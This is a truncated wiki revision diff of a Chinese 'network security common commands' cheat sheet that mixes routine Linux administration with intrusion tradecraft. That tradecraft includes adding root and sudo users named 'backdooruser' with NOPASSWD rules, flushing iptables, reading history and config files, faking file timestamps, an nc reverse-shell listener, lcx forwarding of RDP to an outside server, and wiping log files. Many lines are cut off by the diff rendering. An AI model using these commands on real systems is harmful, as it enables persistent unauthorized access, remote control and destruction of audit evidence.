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网络安全:常用基本命令 [2017/07/22 08:51] YoCo Smart 创建 |
网络安全:常用基本命令 [2020/05/16 19:19] (当前版本) |
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=== 添加root权限用户 === | === 添加root权限用户 === | ||
- | | + | < |
+ | |||
+ | === 非交互式修改密码 === | ||
+ | |||
+ | < | ||
+ | echo " | ||
+ | echo " | ||
+ | </ | ||
=== 压缩 === | === 压缩 === | ||
- | | + | < |
- | tar -zcvpf silic.tar.gz xxxx | + | #压缩 |
- | #解压 | + | tar -zcvpf silic.tar.gz xxxx |
- | tar -zxvpf silic.tar.gz xxxx | + | #解压 |
+ | tar -zxvpf silic.tar.gz xxxx | ||
+ | </ | ||
=== 更改文件属性 === | === 更改文件属性 === | ||
- | | + | < |
- | chmod 777 silic.php | + | #更改为0777 |
- | 更改所有者 | + | chmod 777 silic.php |
- | chown -R apache: | + | 更改所有者 |
- | 更改用户组 | + | chown -R apache: |
- | chgrp -R apache silic.php | + | 更改用户组 |
+ | chgrp -R apache silic.php | ||
+ | </ | ||
=== 踢人 === | === 踢人 === | ||
- | | + | < |
- | w | + | # |
- | #踢人 | + | w |
- | skill -KILL -v pts/* | + | #踢人 |
+ | skill -KILL -v pts/* | ||
+ | </ | ||
=== 重启服务 === | === 重启服务 === | ||
- | | + | < |
=== 清除iptable阻碍 === | === 清除iptable阻碍 === | ||
- | | + | < |
- | iptables -F # | + | iptables -L -n # |
- | iptables -X # | + | iptables -F # |
- | service iptables restart # | + | iptables -X # |
+ | service iptables restart # | ||
+ | </ | ||
+ | |||
+ | === 生成htpasswd密码 === | ||
+ | |||
+ | < | ||
+ | |||
+ | === 开机启动相关 === | ||
+ | |||
+ | < | ||
+ | # | ||
+ | chkconfig | ||
+ | # | ||
+ | / | ||
+ | </ | ||
+ | |||
+ | === 使用yum快速安装 === | ||
+ | |||
+ | < | ||
+ | |||
+ | === 读取配置 === | ||
+ | |||
+ | < | ||
+ | # | ||
+ | cat / | ||
+ | # | ||
+ | cat / | ||
+ | # | ||
+ | uname -a | ||
+ | lsb_release -a | ||
+ | cat / | ||
+ | # | ||
+ | cat / | ||
+ | </ | ||
+ | |||
+ | === 历史记录 === | ||
+ | |||
+ | < | ||
+ | cat / | ||
+ | cat / | ||
+ | </ | ||
+ | |||
+ | === rsync同步 === | ||
+ | |||
+ | < | ||
+ | # | ||
+ | / | ||
+ | # | ||
+ | / | ||
+ | </ | ||
+ | |||
+ | === 修改文件时间戳 === | ||
+ | |||
+ | < | ||
+ | # | ||
+ | date -d " | ||
+ | # | ||
+ | touch -t yymmddhhmm | ||
+ | touch -t 201203042109.02 / | ||
+ | </ | ||
+ | |||
+ | === 查看进程列表 === | ||
+ | |||
+ | < | ||
+ | |||
+ | === 杀死进程 === | ||
+ | |||
+ | < | ||
+ | |||
+ | === 查看硬盘使用情况 === | ||
+ | |||
+ | < | ||
+ | |||
+ | === 路由追踪 === | ||
+ | |||
+ | < | ||
+ | #Linux | ||
+ | traceroute www.google.com | ||
+ | #Windows | ||
+ | tracert www.google.com | ||
+ | </ | ||
+ | |||
+ | === 创建简单" | ||
+ | |||
+ | < | ||
+ | |||
+ | === nc反弹端口监听 === | ||
+ | |||
+ | < | ||
+ | #windows | ||
+ | nc -vv -l -p 5555 | ||
+ | #Linux | ||
+ | nc -l 5555 | ||
+ | </ | ||
+ | |||
+ | === lcx转发端口 === | ||
+ | |||
+ | < | ||
+ | # | ||
+ | lcx -l 3333 4444 | ||
+ | # | ||
+ | lcx.exe -s your-server-ip 3333 127.0.0.1 3389 | ||
+ | </ | ||
+ | |||
+ | === 日志清理 === | ||
+ | |||
+ | < | ||
+ | echo > / | ||
+ | echo > / | ||
+ | echo > / | ||
+ | echo > / | ||
+ | </ | ||
+ | |||
+ | === 统计文件夹大小 === | ||
+ | |||
+ | < | ||
+ | |||
+ | === Linux读取NTF共享 === | ||
+ | |||
+ | < | ||
+ | showmount -e x.x.x.x | ||
+ | / | ||
+ | mount -t nfs x.x.x.x:/ | ||
+ | </ | ||
+ | |||
+ | === 添加sudo用户 === | ||
+ | |||
+ | (添加一个uid为0的用户以后,更改这个uid为0的用户密码原root用户密码也会被更改,所以一般添加用户后为用户更改用户组,使用sudo执行命令) | ||
+ | < | ||
+ | usermod -a -G root backdooruser | ||
+ | usermod -a -G wheel backdooruser | ||
+ | usermod -a -G sudo backdooruser | ||
+ | </ | ||
+ | |||
+ | === 赋予用户sudo权限 === | ||
+ | |||
+ | < | ||
+ | # | ||
+ | backuser ALL=(ALL) ALL | ||
+ | # | ||
+ | %backuser ALL=(ALL) ALL | ||
+ | # | ||
+ | backuser ALL=(ALL) NOPASSWD: | ||
+ | # | ||
+ | %backuser ALL=(ALL) NOPASSWD: | ||
+ | </ | ||
=== === | === === | ||
- | === === | + | |
- | === === | + | < |
- | === === | + | |
- | === === | + | |
- | === === | + | |
- | === === | + | |
- | === === | + | |
- | === === | + | |